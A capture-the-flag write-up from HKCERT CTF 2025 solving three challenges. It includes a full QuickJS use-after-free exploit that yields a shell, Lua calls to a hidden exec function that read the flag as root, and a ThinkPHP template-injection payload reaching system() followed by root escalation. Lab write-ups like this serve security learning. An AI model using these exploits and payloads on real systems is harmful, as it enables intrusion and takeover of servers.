---
# System prepended metadata

title: HKCERT CTF 2025 Writeup - Jane Street Amateurs

---

# HKCERT CTF 2025 Writeup - Jane Street Amateurs

## piano

We are given a [quickjs](github.com/bellard/quickjs) binary with 2 a few lines patched:

```patch
diff --git a/quickjs.c b/quickjs.c
index 6f461d6..98d0cbe 100644
--- a/quickjs.c
+++ b/quickjs.c
@@ -18123,15 +18123,14 @@ static JSValue JS_CallInternal(JSContext *caller_ctx, JSValueConst func_obj,
                         }
                         ret = JS_SetPropertyInternal(ctx, ctx->global_obj, cv->var_name, sp[-1],
                                                      ctx->global_obj, JS_PROP_THROW_STRICT);
-                        sp--;
                         if (ret < 0)
                             goto exception;
                     }
                 } else {
                 put_var_ok:
                    set_value(ctx, var_ref->pvalue, sp[-1]);
-                   sp--;
                 }
+                sp--;
             }
             BREAK;
         CASE(OP_get_loc):
```

In that patch, there is one unique path, which is when JS_SetPropertyInternal returns a value less than 0, we go to the `exception` label without decrementing sp.

After compiling my own custom quickjs with debug printf, and asking AI, I found a good way to have JS_SetPropertyInternal return < 0 is by using a custom setter that throws and exception.

```js
var victim = new Uint8Array(128);
victim.fill(0xAA);
Object.defineProperty(globalThis, 'x', {
    set: function(val) {
        throw new Error("Force Fail");
    },
    configurable: true,
});

try {
    x = victim
} catch {}
```

This code causes `victim` to be freed, because JS_Free is called `victim` twice, once in JS_SetPropertyInternal and another in the exception label.

I found this writeup which has a similar bug to this https://maplebacon.org/2024/05/sdctf-slowjspp/

The idea is the same, use the UAF to overwrite a JSObject metadata to get arbitrary write, and use JSString to get the leaks. I got a shell by abusing the function pointers in JSMallocState, which are at the beginning of the heap (its the first object allocated in quickjs)

Full exploit:
```js


objs = [];
var victim = new Uint8Array(128);
victim.fill(0xAA);
Object.defineProperty(globalThis, 'x', {
    set: function(val) {
        throw new Error("Force Fail");
    },
    configurable: true,
});

try {
    x = victim
} catch {}

for (let i = 0; i < 1; i++) {
	objs.push(1);
}

var controller = new Uint32Array(18);
controller[0] = 10;
controller[1] = 0x001b0d00;
controller[0x10] = 0x10000000;


for (let i = 0; i < 0x20; i++) {
	objs.push({a:1});
}

var str = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ";
try {
    x = str
} catch {}
try {
    x = str
} catch {}


var str_controller = new Uint32Array(18);
str_controller[0] = 2;
str_controller[1] = 0x1000000;
str_controller[2] = 0x497f93b1;
str_controller[3] = 0x4b;

const read_dword = (offset) => {
	let result = 0;
	for (let i = 3; i >= 0; i--) {
		result = (result << 8) | str.charCodeAt(offset + i);
	}
	return result;
};

let heap_base_low = read_dword(0x708) - 0x17bf8;
let heap_base_high = read_dword(0x70c);
console.log(heap_base_high.toString(16));
console.log(heap_base_low.toString(16));
let libc_leak_low = read_dword(0x6e8) - 0x200000 - 0x3b20;
let libc_leak_high = read_dword(0x6ec);
console.log(libc_leak_high.toString(16));
console.log(libc_leak_low.toString(16));

controller[6] = heap_base_low + 0x20200;
controller[7] = heap_base_high;
controller[0xe] = heap_base_low;
controller[0xf] = heap_base_high;

victim[0xa8] = libc_leak_low + 0x58750
victim[0xa9] = libc_leak_high;
victim[0xb0] = 0x6e69622f;
victim[0xb1] = 0x0068732f;

print("!")
var xxx = {a: 1};

while(1){}
```

![image](https://hackmd.io/_uploads/BkInx087-l.png)

## easy-lua

We're presented with an online lua executor, first things first let's dump the global context to see what we are dealing with.

```lua=
local function dump(v)
  if type(v) == "table" then
    for k, val in pairs(v) do
      print(k, val)
    end
  else
    print(v)
  end
end

dump(_G)
```

This prints
```
package	table: 0x99941e0
_G	table: 0x99940f0
_VERSION	Lua 5.1
_GOPHER_LUA_VERSION	GopherLua 0.1
getmetatable	function: 0x99963c0
load	function: 0x99963e0
loadfile	function: 0x9996400
_printregs	function: 0x9996420
tonumber	function: 0x9996440
next	function: 0x9996460
print	function: 0x9996fa0
rawequal	function: 0x99964a0
setmetatable	function: 0x99964c0
tostring	function: 0x99964e0
type	function: 0x9996500
unpack	function: 0x9996520
module	function: 0x9996540
assert	function: 0x9996560
loadstring	function: 0x9996580
pcall	function: 0x99965a0
rawget	function: 0x99965c0
rawset	function: 0x99965e0
getfenv	function: 0x9996600
select	function: 0x9996620
setfenv	function: 0x9996640
xpcall	function: 0x9996660
require	function: 0x9996680
newproxy	function: 0x99966a0
collectgarbage	function: 0x99966c0
dofile	function: 0x99966e0
error	function: 0x9996700
ipairs	function: 0x9996760
pairs	function: 0x99967a0
table	table: 0x99942a0
string	table: 0x99942d0
math	table: 0x9994300
S3cr3t0sEx3cFunc	function: 0x9996fc0
getFileContent	function: 0x9996fe0
getFileList	function: 0x9997000
```

There's a pretty interesting function `S3cr3t0sEx3cFunc`. Let's try to call it:

```lua=
local function dump(v)
  if type(v) == "table" then
    for k, val in pairs(v) do
      print(k, val)
    end
  else
    print(v)
  end
end

local function call(cmd)
  local ok, a, b, c, d = pcall(S3cr3t0sEx3cFunc, cmd)
  print("CMD", cmd, ok)
  dump(a); dump(b); dump(c); dump(d)
end

call("id")
call("ls -la /")
call("cat /flag")
```

This prints:

```
CMD	id	true
uid=0(root) gid=0(root) groups=0(root)

nil
nil
nil
CMD	ls -la /	true
total 12
drwxr-xr-x   1 root root  55 Dec 22 14:13 .
drwxr-xr-x   1 root root  55 Dec 22 14:13 ..
-rwxr-xr-x   1 root root   0 Dec 22 14:13 .dockerenv
drwxr-xr-x   1 ctf  ctf   36 Dec 11 09:10 app
lrwxrwxrwx   1 root root   7 Oct  1 02:03 bin -> usr/bin
drwxr-xr-x   2 root root   6 Apr 18  2022 boot
drwxr-xr-x   5 root root 360 Dec 22 14:13 dev
-rwxr-xr-x   1 root root  73 Nov 24 16:31 entrypoint.sh
drwxr-xr-x   1 root root  66 Dec 22 14:13 etc
-rwxr--r--   1 root root  39 Dec 22 14:13 flag
drwxr-xr-x   1 root root  17 Dec 11 09:10 home
lrwxrwxrwx   1 root root   7 Oct  1 02:03 lib -> usr/lib
lrwxrwxrwx   1 root root   9 Oct  1 02:03 lib32 -> usr/lib32
lrwxrwxrwx   1 root root   9 Oct  1 02:03 lib64 -> usr/lib64
lrwxrwxrwx   1 root root  10 Oct  1 02:03 libx32 -> usr/libx32
drwxr-xr-x   2 root root   6 Oct  1 02:03 media
drwxr-xr-x   2 root root   6 Oct  1 02:03 mnt
drwxr-xr-x   2 root root   6 Oct  1 02:03 opt
dr-xr-xr-x 780 root root   0 Dec 22 14:13 proc
drwx------   2 root root  37 Oct  1 02:10 root
drwxr-xr-x   5 root root  46 Oct  1 02:10 run
-rwxr-xr-x   1 ctf  ctf   82 Aug 21 16:27 run.sh
lrwxrwxrwx   1 root root   8 Oct  1 02:03 sbin -> usr/sbin
drwxr-xr-x   2 root root   6 Oct  1 02:03 srv
dr-xr-xr-x  13 root root   0 Dec 20 01:41 sys
drwxrwxrwt   2 root root   6 Oct  1 02:10 tmp
drwxr-xr-x   1 root root  17 Oct  1 02:03 usr
drwxr-xr-x   1 root root  17 Oct  1 02:10 var

nil
nil
nil
CMD	cat /flag	true
flag{Zd7aDAYPybincfOgFugCp0TLaHLhTnaQ}

nil
nil
nil
```


## renderme
* we are given a link to a web application that has one route which takes the name parameter and renders it.
* I fingerprinted the tech stack by submitting `?name[]=` which returned an error, revealing ThinkPHP.
* I looked up what templating engine this framework uses and stumbled upon [https://github.com/top-think/think-template](https://github.com/top-think/think-template).
* there were a few patterns blocked, such as `()` and quotes.
* reading the source, one can see that it is possible to use pipe syntax for calling arbitrary functions.
* since quotes are blocked too, I put my payload into `$_GET`, which can be accessed using `$Request.get.<param>`.
* final payload: `?name={$Request.get.a|$Request.get.x}&x=system&a=<command>`.
* after getting RCE, it was basically this [https://gtfobins.github.io/gtfobins/choom/](https://gtfobins.github.io/gtfobins/choom/) to get root (and the flag at `/root/flag`).
